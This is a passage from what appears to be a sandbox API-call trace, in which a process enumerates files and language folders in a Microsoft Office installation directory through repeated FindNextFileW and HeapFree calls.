ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0246.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0246.057] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 [0246.085] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0246.085] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0246.086] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0246.086] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0246.086] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0246.086] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0246.087] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0246.087] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0246.091] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0246.091] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0246.102] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.102] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0246.104] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.105] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0246.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.108] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0246.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.442] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0246.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.452] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0246.455] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.455] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1 [0246.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.459] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0246.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.462] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0246.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.466] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0246.489] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.489] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1 [0246.491] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.491] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0246.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.494] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0246.496] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.496] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0246.499] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.499] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0246.501] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.501] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0246.510] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.510] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0246.512] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.512] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0246.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.714] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1 [0246.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.827] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0246.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.829] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0246.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.835] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0246.837] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.837] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0246.838] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.838] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0246.840] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.840] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1 [0246.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.844] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1 [0246.845] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.845] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0246.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.847] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1 [0246.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.850] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0246.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.852] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0246.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.854] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0246.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.875] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0246.891] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0246.891] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0247.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0247.229] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, 